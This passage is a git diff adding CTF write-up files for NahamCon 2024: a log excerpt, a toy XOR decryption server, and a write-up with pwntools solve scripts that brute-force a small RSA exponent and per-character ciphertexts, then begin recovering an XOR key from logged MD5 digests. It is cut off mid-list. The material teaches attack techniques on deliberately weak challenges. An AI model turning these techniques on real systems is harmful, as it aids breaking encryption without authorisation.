GyseOBdHRQ49Mz1h +20/05/2024 15:14:42 Key loaded for encrypted message +20/05/2024 15:14:42 Key expanded by factor of 1 +20/05/2024 15:14:42 Partial message digest is c1d9f50f86825a1a2302ec2449c17196 +20/05/2024 15:14:42 Partial message digest is a64cf5823262686e1a28b2245be34ce0 +20/05/2024 15:14:42 Partial message digest is 6b6e667a40e816c4da7bb4ab64cbb82b +20/05/2024 15:14:42 Partial message digest is 1824e8e0307cbfdd1993511ab040075c +20/05/2024 15:14:42 Partial message digest is 8b1a9953c4611296a827abf8c47804d7 +20/05/2024 15:14:42 Partial message digest is d1a7fb5eab1c16cb4f7cf341cf188c3d +20/05/2024 15:14:42 Partial message digest is d245114cd44bdcd540a014ad78257432 +20/05/2024 15:14:42 Partial message digest is fd05d5cc96e2e85fa2dfc2505932cf76 +20/05/2024 15:14:42 Partial message digest is cd3719c301dce67f4440f42be83ef6f3 +20/05/2024 15:14:42 Partial message digest is ad7fe93595f81645e06239701fbd8084 +20/05/2024 15:14:42 Partial message digest is e8ea7a8d1e93e8764a84a0f3df4644de +20/05/2024 15:14:42 Partial message digest is 9d6a2963872077db674a27a39c492e61 +20/05/2024 15:14:42 Message fully decrypted, ready to send... +20/05/2024 15:14:42 Decrypted message sent! +20/05/2024 15:14:42 Listening for connection... +20/05/2024 15:15:02 Connection received from ('10.10.2.6', 35450) +20/05/2024 15:15:02 Received encrypted message FCscMQoGXUYTJDYgFzFKEzZEL3kYCBZKCWcSHQEDWQ49K1w= +20/05/2024 15:15:02 Key loaded for encrypted message +20/05/2024 15:15:02 Key expanded by factor of 2 +20/05/2024 15:15:02 Partial message digest is dfcf28d0734569a6a693bc8194de62bf +20/05/2024 15:15:02 Partial message digest is c6a675552648c0becb8283f05c172483 +20/05/2024 15:15:02 Partial message digest is 4804dc3c133b11589338a62893ae614c +20/05/2024 15:15:02 Partial message digest is 624aa1a206e09836e3c81ea95502f459 +20/05/2024 15:15:02 Partial message digest is dc9eca234ddb7ab22cb994d2d65a9190 +20/05/2024 15:15:02 Partial message digest is 5cb4c355ef76c07357dc7420a78224c8 +20/05/2024 15:15:02 Partial message digest is 0db377921f4ce762c62526131097968f +20/05/2024 15:15:02 Partial message digest is 11676af7565a3e9e7d0b8662e5439dcf +20/05/2024 15:15:02 Partial message digest is 1b78f60ca3cd02d678795acb0a5d09dd +20/05/2024 15:15:02 Partial message digest is c28ccaeb4c42b9bc57eadcc45db0fc97 +20/05/2024 15:15:02 Partial message digest is ab05664abb19119940f6f1e12be33f06 +20/05/2024 15:15:02 Partial message digest is 938a6f10853b1f1d62fb12f381b01f89 +20/05/2024 15:15:02 Partial message digest is cdc22bdf25fe7fd49622ca56eded7d52 +20/05/2024 15:15:02 Partial message digest is a7407b6278491cf787cfa5201ee635fc +20/05/2024 15:15:02 Partial message digest is 84f692df69b2e66d165289d13e75fa74 +20/05/2024 15:15:02 Partial message digest is 3dfbb7a1f6aea16d2fb554615474f731 +20/05/2024 15:15:02 Partial message digest is d243ff13077ff7eadacebe5972967ce6 +20/05/2024 15:15:02 Partial message digest is e6392f7be2ea073cc4bd2a640b2a0423 +20/05/2024 15:15:02 Partial message digest is dac7d5e859297e861c83eef8d0784f7f +20/05/2024 15:15:02 Partial message digest is 44d556571a1a39834bafe1946ede1edb +20/05/2024 15:15:02 Partial message digest is 097086fe780f7454d565a5f51ba8e967 +20/05/2024 15:15:02 Partial message digest is 20fd53360cf6443ac72ca108b8a9ff28 +20/05/2024 15:15:02 Partial message digest is 95ee5f72875a554d576c56e8dfe4ed54 +20/05/2024 15:15:02 Partial message digest is 760abed0bb169a16c4aa95e845f10517 +20/05/2024 15:15:02 Partial message digest is 135f264aa1d5d886471e88c944704db8 +20/05/2024 15:15:02 Partial message digest is af449bca97466f556bcc77c6150eb013 +20/05/2024 15:15:02 Partial message digest is 468ad9f05ca6e30a202d62970628c04f +20/05/2024 15:15:02 Partial message digest is e044ab23133491e4dc010439fd5b4976 +20/05/2024 15:15:02 Partial message digest is 8588f19d7260886758371d53bdcfee94 +20/05/2024 15:15:02 Partial message digest is 7a14ba71a3bdb19082ef352a25ed60cc +20/05/2024 15:15:02 Partial message digest is 7935dad11bb4e8a6fac4f9bf1b931c4d +20/05/2024 15:15:02 Partial message digest is 379a4ad6c7fac41cf73a69ee95bea6b4 +20/05/2024 15:15:02 Partial message digest is 2fe14f88d52754c9bd169850924637ec +20/05/2024 15:15:02 Partial message digest is 4ca0e08a0f9de1f3b19066cadd31dcf7 +20/05/2024 15:15:02 Partial message digest is c020be146a34acea950d12dc512404e3 +20/05/2024 15:15:02 Message fully decrypted, ready to send... +20/05/2024 15:15:02 Decrypted message sent! +20/05/2024 15:15:02 Listening for connection... +20/05/2024 15:15:09 Connection received from ('10.10.2.6', 54190) +20/05/2024 15:15:09 Received encrypted message CiEHJlgKXhA9bw== +20/05/2024 15:15:09 Key loaded for encrypted message +20/05/2024 15:15:09 Key expanded by factor of 1 +20/05/2024 15:15:09 Partial message digest is 57cec4137b614c87cb4e24a3d003a3e0 +20/05/2024 15:15:09 Partial message digest is 3700f097e741a7702f7e4ac61ed88c1a +20/05/2024 15:15:09 Partial message digest is cae8d14edd025e72c59dbab6f378c95a +20/05/2024 15:15:09 Partial message digest is 4ff70f7b2e5a74415de360150a6e59d3 +20/05/2024 15:15:09 Partial message digest is 0375c5b0ee7565cf55257555c0d7dadf +20/05/2024 15:15:09 Partial message digest is c183d6734a59019a34bc56beb35f8c7f +20/05/2024 15:15:09 Partial message digest is 6e8a77a7b12bb8ecd1124419213cf6f6 +20/05/2024 15:15:09 Partial message digest is 03c388eab5d0fc42ca5e2c5a8fb15a03 +20/05/2024 15:15:09 Partial message digest is aedbbaf58ed90d5bc6d9293aceaf1f12 +20/05/2024 15:15:09 Partial message digest is 6c6182564034ab2936a202879cfc13e8 +20/05/2024 15:15:09 Message fully decrypted, ready to send... +20/05/2024 15:15:09 Decrypted message sent! +20/05/2024 15:15:09 Listening for connection... +20/05/2024 15:15:17 Connection received from ('10.10.2.6', 39868) +20/05/2024 15:15:17 Received encrypted message CiEHdB4IXgp2YRFoAz1GUSpONHkNCBIDBiIUUgQJWRg8OwB0GxVIFiwuPz0UKA5Kb0ooLQpaERNIBB8HAxNZJTwhGSFZ +20/05/2024 15:15:17 Key loaded for encrypted message +20/05/2024 15:15:17 Key expanded by factor of 3 +20/05/2024 15:15:17 Partial message digest is 57cec4137b614c87cb4e24a3d003a3e0 +20/05/2024 15:15:17 Partial message digest is 3700f097e741a7702f7e4ac61ed88c1a +20/05/2024 15:15:17 Partial message digest is cae8d14edd025e72c59dbab6f378c95a +20/05/2024 15:15:17 Partial message digest is 39cb3e1ca363e9d621ef1f89e00053d6 +20/05/2024 15:15:17 Partial message digest is 497503cf121f6fcac65ab320b5e74ed8 +20/05/2024 15:15:17 Partial message digest is a2d3576d113c8eb6290868794cd009a1 +20/05/2024 15:15:17 Partial message digest is 70ac4964f41b299c6f46b45a0f85cc9d +20/05/2024 15:15:17 Partial message digest is f2d5f5c2c2c1c6057bb77d7018fc166d +20/05/2024 15:15:17 Partial message digest is cff0026cd78a467742b2f211472a311e +20/05/2024 15:15:17 Partial message digest is 9ae64f1ba6164fb4013c6603b271f397 +20/05/2024 15:15:17 Partial message digest is ef999e463c3b52da69ef2a7074e034b3 +20/05/2024 15:15:17 Partial message digest is 6edf64032dce9ab3dd12f8e5e26614ac +20/05/2024 15:15:17 Partial message digest is bf6bde9e19813f358ab72ae6aae878b7 +20/05/2024 15:15:17 Partial message digest is 016e14798e5a175ae765efff7b9b5706 +20/05/2024 15:15:17 Partial message digest is 3144a40dfae79b7c788ff89a182b6b0a +20/05/2024 15:15:17 Partial message digest is b6f18c91420be5d2f6821b0e5aed865c +20/05/2024 15:15:17 Partial message digest is 846a12a7026a7555a2bd1d215b28111d +20/05/2024 15:15:17 Partial message digest is 5f54c32770a217815828fbde8a175eee +20/05/2024 15:15:17 Partial message digest is d13622ad824c31ff1ed91c783e72e54e +20/05/2024 15:15:17 Partial message digest is 334a02b99723a5ed8245b07d270cda13 +20/05/2024 15:15:17 Partial message digest is d8c10b82ed17ed19a68d07eabc48c959 +20/05/2024 15:15:17 Partial message digest is f01a2b68760956b8409ba1dc5be155a5 +20/05/2024 15:15:17 Partial message digest is 1ee702ac9de55de1916f192a2f7256ef +20/05/2024 15:15:17 Partial message digest is 35c8a42395698946ed9580373371e8c3 +20/05/2024 15:15:17 Partial message digest is f622dbd7962f77d1571335b1306377fe +20/05/2024 15:15:17 Partial message digest is d7c254e7e9314ad4a211fee6ca24c9cd +20/05/2024 15:15:17 Partial message digest is de2535e0ae7c7bb2b0804bf3bdb8a43a +20/05/2024 15:15:17 Partial message digest is d431c5fad1fd45c7c1259f1422827d32 +20/05/2024 15:15:17 Partial message digest is ef01ed4a2077d0ac984df9c7111e5332 +20/05/2024 15:15:17 Partial message digest is 458038d46d8006f01b6ed75e7ca8fa80 +20/05/2024 15:15:17 Partial message digest is ec595b3aa1a20c3aa86459977e6a09ae +20/05/2024 15:15:17 Partial message digest is 5e9f20a5fea8c61c2335bfdd34b7d856 +20/05/2024 15:15:17 Partial message digest is 03eb8ed68ce06c16d86ae932d24879a4 +20/05/2024 15:15:17 Partial message digest is fa3a9ef58f830341490fe856a0c078e3 +20/05/2024 15:15:17 Partial message digest is 7e69cdf14d11f648be4b272691e7efdb +20/05/2024 15:15:17 Partial message digest is 5180e082caa12498010eb3a8c7c581d5 +20/05/2024 15:15:17 Partial message digest is d242aa6fcaf8144052099f3b38490f98 +20/05/2024 15:15:17 Partial message digest is 587171cb7482a16d5c4369c0205ddb5c +20/05/2024 15:15:17 Partial message digest is d116025d92fec10ca347502f375a0773 +20/05/2024 15:15:17 Partial message digest is 63ff0c4759cbdb9d20af18b82ed56c06 +20/05/2024 15:15:17 Partial message digest is 8c164d3d8b5412694c7d6ec7ff4020f6 +20/05/2024 15:15:17 Partial message digest is 38c0d31d8019b600e7f89dbbd794c7e6 +20/05/2024 15:15:17 Partial message digest is 3e4ee25a26cdcafc659fa3f3ad508c00 +20/05/2024 15:15:17 Partial message digest is 56192dd06d29e55e1dbe51dee916c1e6 +20/05/2024 15:15:17 Partial message digest is 5d4aef2efcf30059273ee58a0735afd0 +20/05/2024 15:15:17 Partial message digest is b3356f9961d698679e5249930f550c10 +20/05/2024 15:15:17 Partial message digest is c9bf3ca8b415a73c9aeed65c88719b01 +20/05/2024 15:15:17 Partial message digest is 463ec2d99a7f4897abc07ec772889052 +20/05/2024 15:15:17 Partial message digest is 184255dfaef6ab6a85f7913ca0b533ff +20/05/2024 15:15:17 Partial message digest is 02728bd2d7629d0d7f866b472831d3e4 +20/05/2024 15:15:17 Partial message digest is e4e0e8eb8463b8d5f3968a14ed451267 +20/05/2024 15:15:17 Partial message digest is 69ec9d8ca5b222721a8ef67bac2edf2d +20/05/2024 15:15:17 Partial message digest is a9940652a8aa6bad43c81796a78e6b9a +20/05/2024 15:15:17 Partial message digest is 0a6fe8d5b70fa619ad124e1f4ad76fc9 +20/05/2024 15:15:17 Partial message digest is 919305f428fd80bd86c49b1020099507 +20/05/2024 15:15:17 Partial message digest is ae9e614885320ed6dd11aca906c8a85e +20/05/2024 15:15:17 Partial message digest is 83dcb8ad6e8943999b05d3b9ad61d080 +20/05/2024 15:15:17 Partial message digest is bb75c9e2228c4c0a9958d1abf77e351b +20/05/2024 15:15:17 Partial message digest is 78f2ff925657d18d21b80d0eaf1d98e7 +20/05/2024 15:15:17 Partial message digest is 6440a465a3e46d944676a629e8aeaf8c +20/05/2024 15:15:17 Partial message digest is 319a0dfb241f9afe19779876ace75018 +20/05/2024 15:15:17 Partial message digest is 6506a61eca589222fe6c17b2b30ff36d +20/05/2024 15:15:17 Partial message digest is f419b88e925fb407d429e84ff9038cb2 +20/05/2024 15:15:17 Partial message digest is 48af8bc89f56b309f19e32cfe9ae5a5f +20/05/2024 15:15:17 Partial message digest is b5458c25521431c600805d6f8510f849 +20/05/2024 15:15:17 Partial message digest is 9939ab328cf967845aa048332d375020 +20/05/2024 15:15:17 Partial message digest is 0cca6aa1f01a20da10afdef38214c42b +20/05/2024 15:15:17 Partial message digest is 96218a4256a0a1ebfea6a93ecc1e7ef2 +20/05/2024 15:15:17 Partial message digest is 6e6f8988348f9daf44e95a0b202468f0 +20/05/2024 15:15:17 Message fully decrypted, ready to send... +20/05/2024 15:15:17 Decrypted message sent! +20/05/2024 15:15:17 Listening for connection... +20/05/2024 15:15:28 Connection received from ('10.10.2.6', 50200) +20/05/2024 15:15:28 Received encrypted message EjoGNRsMHUYTJDYgFzFHEylHOz4CG0FZDnBCQwwCHwdkLERhGgQJUT1zbH9EbQcGe0o7bEoH +20/05/2024 15:15:28 Key loaded for encrypted message +20/05/2024 15:15:28 Key expanded by factor of 3 +20/05/2024 15:15:28 Partial message digest is 7fc56270e7a70fa81a5935b72eacbe29 +20/05/2024 15:15:28 Partial message digest is dc5f499e83aef4f6811faa4081631740 +20/05/2024 15:15:28 Partial message digest is d87881cf48bc2b29a6feafb9089391ff +20/05/2024 15:15:28 Partial message digest is c6de61570d7d62724403b46cf7016a9b +20/05/2024 15:15:28 Partial message digest is 7fe253d71eaee2f6a4f14d021b50e4dc +20/05/2024 15:15:28 Partial message digest is dcfafcb4323b102c7e204555d313ba0a +20/05/2024 15:15:28 Partial message digest is af6e0b3c86a2b905e2ff5abddcad2e81 +20/05/2024 15:15:28 Partial message digest is 484e0fbe3b474d709bbd17bf490151e3 +20/05/2024 15:15:28 Partial message digest is 33088f4c79f01ec1103966c18aeb5289 +20/05/2024 15:15:28 Partial message digest is aacb3e951f7e3c4ce73d38cd2075929e +20/05/2024 15:15:28 Partial message digest is 56e8794b7d1d4e53a94bf3423bdf3eeb +20/05/2024 15:15:28 Partial message digest is 9c28e2de3f8e3cd96dde341ec0756ff7 +20/05/2024 15:15:28 Partial message digest is 848653f6cfdc288a4c4a9057cbbc2b0b +20/05/2024 15:15:28 Partial message digest is 060c25ad172e6bcc7056658e67619546 +20/05/2024 15:15:28 Partial message digest is 629c0cafb71f21c621225bed63c12eab +20/05/2024 15:15:28 Partial message digest is ab46d0a1386ccc3f475b7acae4b70d8f +20/05/2024 15:15:28 Partial message digest is cee0ed8ebd8b5b54644055be97e20135 +20/05/2024 15:15:28 Partial message digest is 9bcbeeba449eaa6605942e1df7d73a9a +20/05/2024 15:15:28 Partial message digest is cc05361648bfb0c7a59bfcdc16c2a976 +20/05/2024 15:15:28 Partial message digest is 64c84a6cfcd263b55fa43f17602c60c7 +20/05/2024 15:15:28 Partial message digest is 92a6bc0fb796b47a2d58b12ea817b7aa +20/05/2024 15:15:28 Partial message digest is ea75ae0b12212a818c9ee21cb8ef394a +20/05/2024 15:15:28 Partial message digest is 5e709cfac964d54e35393a81043a3093 +20/05/2024 15:15:28 Partial message digest is 3f40eff5eba02af2c5151056be0ea00b +20/05/2024 15:15:28 Partial message digest is 49709f2809aabb8b0617657fb27139cf +20/05/2024 15:15:28 Partial message digest is 949aae2be9a1d95ef0672c6fe79b0b45 +20/05/2024 15:15:28 Partial message digest is 4c0c18e81c52d99c8b9b1e17f7cc4bfa +20/05/2024 15:15:28 Partial message digest is f3694ba8af215addbf08d084f6d42603 +20/05/2024 15:15:28 Partial message digest is d8ba592440feae6a1871302774fa9fd1 +20/05/2024 15:15:28 Partial message digest is 960d30cb3665a442e8202727329a5bce +20/05/2024 15:15:28 Partial message digest is 0e76871b7854459935e21946e1d7fd41 +20/05/2024 15:15:28 Partial message digest is 0893f18310ddc0abd9d5d79d59ef81c1 +20/05/2024 15:15:28 Partial message digest is 76f58a7cda86797ffb54471d2772d5e0 +20/05/2024 15:15:28 Partial message digest is aa619c65e5d6306bd8130e734adf833a +20/05/2024 15:15:28 Partial message digest is ef118fad3612473a6403389a5a34a065 +20/05/2024 15:15:28 Partial message digest is 302f4ef956e453763ec311016f0dd62e +20/05/2024 15:15:28 Partial message digest is a9edcd4811c20d05a715e5e4e86d3e44 +20/05/2024 15:15:28 Partial message digest is d7634ae9ae18e1a36feb2896c778c99f +20/05/2024 15:15:28 Partial message digest is 2b8a2990f15e0f94200a20883d65c8d2 +20/05/2024 15:15:28 Partial message digest is 5aa27e19008dcf9cb719b44211e8b521 +20/05/2024 15:15:28 Partial message digest is 5cda2e22fe081b23c529bb6733f33a3a +20/05/2024 15:15:28 Partial message digest is 89ee4e1754bdc39d439ec2ebe2e5c4d9 +20/05/2024 15:15:28 Partial message digest is 157ca66bc205f5b80fa20cbc8b72b590 +20/05/2024 15:15:28 Partial message digest is 9966fc1561550647195be239e41208e5 +20/05/2024 15:15:28 Partial message digest is 9af234f59e8973f7e38f47ef8b4d3c28 +20/05/2024 15:15:28 Partial message digest is 1fc9b8d286cc75c24bc9a26143c8f997 +20/05/2024 15:15:28 Partial message digest is 93273623c292d1389655ad7ab677c0b6 +20/05/2024 15:15:28 Partial message digest is 49ce5c69361f0dbfeb4ffe84df98baa6 +20/05/2024 15:15:28 Partial message digest is f12a9b2a300497bf57001f9a70bba355 +20/05/2024 15:15:28 Partial message digest is 831c2c1d54e51a9d239f8884d02c403d +20/05/2024 15:15:28 Partial message digest is 3113007389ec15209f98c19379494f7d +20/05/2024 15:15:28 Partial message digest is 8347b0fd46d715f1ed9e4a6ace19dc0a +20/05/2024 15:15:28 Partial message digest is ddd82459baa7288e52d4eba668957ff1 +20/05/2024 15:15:28 Partial message digest is 09b571b1e2824e2fe59f096c63f50390 +20/05/2024 15:15:28 Message fully decrypted, ready to send... +20/05/2024 15:15:28 Decrypted message sent! +20/05/2024 15:15:28 Listening for connection... +20/05/2024 15:15:47 Connection received from ('10.10.2.6', 59590) +20/05/2024 15:15:47 Received encrypted message ACFSIRYEWBAxLTE1EDxIHWE= +20/05/2024 15:15:47 Key loaded for encrypted message +20/05/2024 15:15:47 Key expanded by factor of 1 +20/05/2024 15:15:47 Partial message digest is 5dbc98dcc983a70728bd082d1a47546e +20/05/2024 15:15:47 Partial message digest is e2e0ab9c9510bf61fd17296bae8d3d24 +20/05/2024 15:15:47 Partial message digest is be361ae90b7878d5d480674a3080e2bc +20/05/2024 15:15:47 Partial message digest is b090aedcdc00fb9d23b857f7a6197373 +20/05/2024 15:15:47 Partial message digest is ec8f7c066c54327b6841a8e0d2c09545 +20/05/2024 15:15:47 Partial message digest is bdf49a82163c3e662a5219055e147f56 +20/05/2024 15:15:47 Partial message digest is ea5672b593838a514b9f50da79a2bddf +20/05/2024 15:15:47 Partial message digest is d3e111f04b7c35fe8c456495c1270f67 +20/05/2024 15:15:47 Partial message digest is 6037314cf095e7276cefa1a82871ca30 +20/05/2024 15:15:47 Partial message digest is 0c227e670dddd0cf2287581dd349a67c +20/05/2024 15:15:47 Partial message digest is 026d2a9f4fa45b98f975088db3ab9fcb +20/05/2024 15:15:47 Partial message digest is 9f8d068964d2a87f7e1125d42e5de948 +20/05/2024 15:15:47 Partial message digest is 7ce9ad91ac599d4c150b657b7ef4c193 +20/05/2024 15:15:47 Partial message digest is 2a18a161106bfde44c285ed6ae07646f +20/05/2024 15:15:47 Partial message digest is cdc96979e62f8ed33d472ec370e791a8 +20/05/2024 15:15:47 Partial message digest is 9c5181f784ef0972be4a3c66a918523c +20/05/2024 15:15:47 Partial message digest is 729cb1eaceb709f40fd4eb00365a6ee5 +20/05/2024 15:15:47 Message fully decrypted, ready to send... +20/05/2024 15:15:47 Decrypted message sent! +20/05/2024 15:15:47 Listening for connection... diff --git a/content/ctf-writeups/nahamcon/assets/server.py b/content/ctf-writeups/nahamcon/assets/server.py new file mode 100644 index 0000000..1b1146d --- /dev/null +++ b/content/ctf-writeups/nahamcon/assets/server.py @@ -0,0 +1,59 @@ +import socket +import base64 +from hashlib import md5 +from datetime import datetime + +host = '0.0.0.0' +port = 9001 + +class log: + @staticmethod + def print(message): + with open('./decryption_server.log', 'a') as f: + now = datetime.now() + f.write(now.strftime("%d/%m/%Y %H:%M:%S") + "\t") + f.write(message + '\n') + +def decrypt(encrypted): + key = open('key.txt').read() + key = key.strip() + log.print("Key loaded for encrypted message") + + factor = len(encrypted) // len(key) + 1 + key = key * factor + log.print(f"Key expanded by factor of {factor}") + key_bytes = key.encode() + + enc_bytes = base64.b64decode(encrypted) + dec_bytes = bytearray() + + for i in range(len(enc_bytes)): + dec_bytes.append(enc_bytes[i] ^ key_bytes[i]) + log.print(f"Partial message digest is {md5(dec_bytes).hexdigest()}") + decrypted = dec_bytes.decode() + log.print("Message fully decrypted, ready to send...") + return decrypted + +def main_loop(): + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((host, port)) + log.print(f"Server listening on host {host} and port {port}") + + while True: + s.listen(1) + log.print("Listening for connection...") + + c_soc, addr = s.accept() + log.print(f"Connection received from {addr}") + + ciphertext = c_soc.recv(1024).decode().strip() + log.print(f"Received encrypted message {ciphertext}") + + plaintext = decrypt(ciphertext) + c_soc.sendall(plaintext.encode()) + log.print(f"Decrypted message sent!") + + +if __name__ == '__main__': + main_loop() \ No newline at end of file diff --git a/content/ctf-writeups/nahamcon/crypto.md b/content/ctf-writeups/nahamcon/crypto.md new file mode 100644 index 0000000..3b78741 --- /dev/null +++ b/content/ctf-writeups/nahamcon/crypto.md @@ -0,0 +1,340 @@ +--- +layout: post +title: Nahamcon CTF 2024 | Crypto-Writeups +date: 2024-05-26 +tags: ['Nahamcon_CTF_2024'] +math: True +--- + +# crypto/Encryption Server writeup +author: Jstith + +## Challenge Description +>I read online it's bad to re-use the prime numbers in RSA. So, I made this server that randomly generates them for me. +**Attachments**: [RSA_Encryption_Server.py](../assets/RSA_Encryption_Server.py) + +## Solution + +Let's start analysing the code. We can notice a few things: + +```py +e = random.randint(500,1000) + +def encrypt(inp): + p = nextprime(randbits(1024)) + q = nextprime(randbits(1024)) + n = p * q + c = [pow(ord(m), e, n) for m in inp] + return [n, c] + +``` +$\text{Observation 1.}$ $e$ is a random integer such that: $e \in [500, 1000)$. Also, a very important fact is that $e$ **remains same for all subsequent encryptions**. + +$\text{Observation 2.}$ The encrypt function is standard $\text{RSA Algorithm}$ using $2048$ bit public modulus and $e$ as the exponent, except the ciphtertext is generated a bit differently then the starndard method: It takes each character of the input string and encrypts it's $\text{ASCII}$ value using $\text{RSA}$. The ciphertext is a list of these encrypted integers. + +In the main function, we can see that: +```py +... +elif('1' in inp): + plain = input('Enter a message, and the server will encrypt it with a random N!\n> ') + encrypted = encrypt(plain) + +elif('2' in inp): + data = open('flag.txt', 'r').read() + data = data.strip() + encrypted = encrypt(data) +... +print('Your randomly chosen N:') +print(f'> {encrypted[0]}') +print('Your encrypted message:') +print(f'> {encrypted[1]}') +print('\n') +... +``` + +$\text{Exploiting Observation 1.:}$ +The program allows us to encrypt a custom input value and gives us the modulus and ciphertext. Since we know what the value is (as we put chose it), and $e$ has a very small range, we can brute force the value of $e$ in the range to find for what $e$, the input value gives the same ciphertext as we received (as encryption doesn't require private key $p$ and $q$). And since $e$ remains same for all encryptions, we will have some more information to work with. + +$$m^{\boxed{e}} \equiv c \, (\text{mod } n)$$ + +Code: +```py +# send '1' as the input +# receive 'n' as modulus and 'c' as ciphertext[0] +e = -1 +for i in range(500, 1000): + if pow(ord('1'), i, n) == c: + e = i + print(f'{e=}') + break +``` + +$\text{Exploiting Observation 2.:}$ Since the ciphertext values are just encrypted $\text{ASCII}$ values, this gives us only $256^*$ possible values ($1$ byte) for each character in the input string. Since we know $n$, $c$ and now $e$, we can brute force these possible values similar to what we did earlier and obtain the flag. + +\* We can reduce this even further by only brute forcing through printable $\text{ASCII}$ characters only. + +$$\boxed{m}^e \equiv c \, (\text{mod } n)$$ + +Code: +```py +import string +valid = string.printable + +# receive 'n' as modulus an 'ciphertext' as list +flag = '' +for c in ciphertext: + for v in valid: + if pow(ord(v), e, n) == c: + flag += v + break + +print(flag) +``` + +## Script + +```py +from pwn import * + +# context.log_level = 'CRITICAL' + +r = process(['python', 'RSA_Encryption_Server.py']) +# r = remote('challenge.nahamcon.com', 30888) + +r.sendlineafter(b'> ', b'1') + +r.sendlineafter(b'> ', b'1') +r.recvuntil(b'> ') +n = int(r.recvline().decode().strip()) + +print(f'{n=}') + +r.recvuntil(b'> ') +c = int(r.recvline().decode().strip()[1:][:-1]) + +print(f'{c=}') + +e = 0 +for i in range(500, 1000): + if pow(ord('1'), i, n) == c: + e = i + print(f'{e=}') + break + +r.sendlineafter(b'> ', b'2') + +r.recvuntil(b'> ') +n = int(r.recvline().decode().strip()) + +r.recvuntil(b'> ') +ciphertext = eval(r.recvline().decode().strip()) + +import string +valid = string.printable + +flag = '' +for c in ciphertext: + for v in valid: + if pow(ord(v), e, n) == c: + flag += v + break + +print(flag) +# flag{29070b0688f398587d41041f4b25d8a3} +``` + +# scripting/Encryption Server writeup +author: Jstith + +## Challenge Description +>I created a server to manage all my encrypted data from my lucrative ransomware business. It's still in development, but I should be okay as long as.. wait, what? Somebody leaked a log file?? +**Attachments**: [server.py](../assets/server.py) [decryption_server.log](../assets/decryption_server.log) + +## Solution + +```py +def decrypt(encrypted): + key = open('key.txt').read() + key = key.strip() + log.print("Key loaded for encrypted message") + + factor = len(encrypted) // len(key) + 1 + key = key * factor + log.print(f"Key expanded by factor of {factor}") + key_bytes = key.encode() + + enc_bytes = base64.b64decode(encrypted) + dec_bytes = bytearray() + + for i in range(len(enc_bytes)): + dec_bytes.append(enc_bytes[i] ^ key_bytes[i]) + log.print(f"Partial message digest is {md5(dec_bytes).hexdigest()}") + decrypted = dec_bytes.decode() + log.print("Message fully decrypted, ready to send...") + return decrypted +``` + +We'll solve this in $2$ parts: +1. Finding the $\text{key}$ +2. Decoding the messages + +### 1. Finding the $\text{key}$ + + +We can start with any message which has $\text{key}$ expansion factor of at least $2$. Because, if it is $1$, it could mean that the whole $\text{key}$ was not used and would only yield partial $\text{key}$. + +Analysing the logs, the second message looks perfect for this: + +``` +20/05/2024 15:15:02 Connection received from ('10.10.2.6', 35450) +... Received encrypted message FCscMQoGXUYTJDYgFzFKEzZEL3kYCBZKCWcSHQEDWQ49K1w= +... Key loaded for encrypted message +... Key expanded by factor of 2 +... Partial message digest is dfcf28d0734569a6a693bc8194de62bf +... Partial message digest is c6a675552648c0becb8283f05c172483 +... Partial message digest is 4804dc3c133b11589338a62893ae614c +... Partial message digest is 624aa1a206e09836e3c81ea95502f459 +... Partial message digest is dc9eca234ddb7ab22cb994d2d65a9190 +... Partial message digest is 5cb4c355ef76c07357dc7420a78224c8 +... Partial message digest is 0db377921f4ce762c62526131097968f +... Partial message digest is 11676af7565a3e9e7d0b8662e5439dcf +... Partial message digest is 1b78f60ca3cd02d678795acb0a5d09dd +... Partial message digest is c28ccaeb4c42b9bc57eadcc45db0fc97 +... Partial message digest is ab05664abb19119940f6f1e12be33f06 +... Partial message digest is 938a6f10853b1f1d62fb12f381b01f89 +... Partial message digest is cdc22bdf25fe7fd49622ca56eded7d52 +... Partial message digest is a7407b6278491cf787cfa5201ee635fc +... Partial message digest is 84f692df69b2e66d165289d13e75fa74 +... Partial message digest is 3dfbb7a1f6aea16d2fb554615474f731 +... Partial message digest is d243ff13077ff7eadacebe5972967ce6 +... Partial message digest is e6392f7be2ea073cc4bd2a640b2a0423 +... Partial message digest is dac7d5e859297e861c83eef8d0784f7f +... Partial message digest is 44d556571a1a39834bafe1946ede1edb +... Partial message digest is 097086fe780f7454d565a5f51ba8e967 +... Partial message digest is 20fd53360cf6443ac72ca108b8a9ff28 +... Partial message digest is 95ee5f72875a554d576c56e8dfe4ed54 +... Partial message digest is 760abed0bb169a16c4aa95e845f10517 +... Partial message digest is 135f264aa1d5d886471e88c944704db8 +... Partial message digest is af449bca97466f556bcc77c6150eb013 +... Partial message digest is 468ad9f05ca6e30a202d62970628c04f +... Partial message digest is e044ab23133491e4dc010439fd5b4976 +... Partial message digest is 8588f19d7260886758371d53bdcfee94 +... Partial message digest is 7a14ba71a3bdb19082ef352a25ed60cc +... Partial message digest is 7935dad11bb4e8a6fac4f9bf1b931c4d +... Partial message digest is 379a4ad6c7fac41cf73a69ee95bea6b4 +... Partial message digest is 2fe14f88d52754c9bd169850924637ec +... Partial message digest is 4ca0e08a0f9de1f3b19066cadd31dcf7 +... Partial message digest is c020be146a34acea950d12dc512404e3 +... Message fully decrypted, ready to send... +... Decrypted message sent! +``` + +Now, we just need to brute force each byte of the $\text{key}$ in the range $[0,255]$ and keep matching the results with the provided $\text{md5}$ hashes. + +Code: +```py +import base64 import b64decode +from hashlib import md5 + +# copied from the 2nd message in decryption_server.log +hashes = [ + 'dfcf28d0734569a6a693bc8194de62bf', + 'c6a675552648c0becb8283f05c172483', + '4804dc3c133b11589338a62893ae614c', + '624aa1a206e09836e3c81ea95502f459', + 'dc9eca234ddb7ab22cb994d2d65a9190', + '5cb4c355ef76c07357dc7420a78224c8', + '0db377921f4ce762c62526131097968f', + '11676af7565a3e9e7d0b8662e5439dcf', + '1b78f60ca3cd02d678795acb0a5d09dd', + 'c28ccaeb4c42b9bc57eadcc45db0fc97', + 'ab05664abb19119940f6f1e12be33f06', + '938a6f10853b1f1d62fb12f381b01f89', + 'cdc22bdf25fe7fd49622ca56eded7d52', + 'a7407b6278491cf787cfa5201ee635fc', + '84f692df69b2e66d165289d13e75fa74', + '3dfbb7a1f6aea16d2fb554615474f731', + 'd243ff13077ff7eadacebe5972967ce6', + 'e6392f7be2ea073cc4bd2a640b2a0423', + 'dac7d5e859297e861c83eef8d0784f7f', + '44d556571a1a39834bafe1946ede1edb', + '097086fe780f7454d565a5f51ba8e967', + '20fd53360cf6443ac72ca108b8a9ff28', + '95ee5f72875a554d576c56e8dfe4ed54', + '760abed0bb169a16c4aa95e845f10517', + 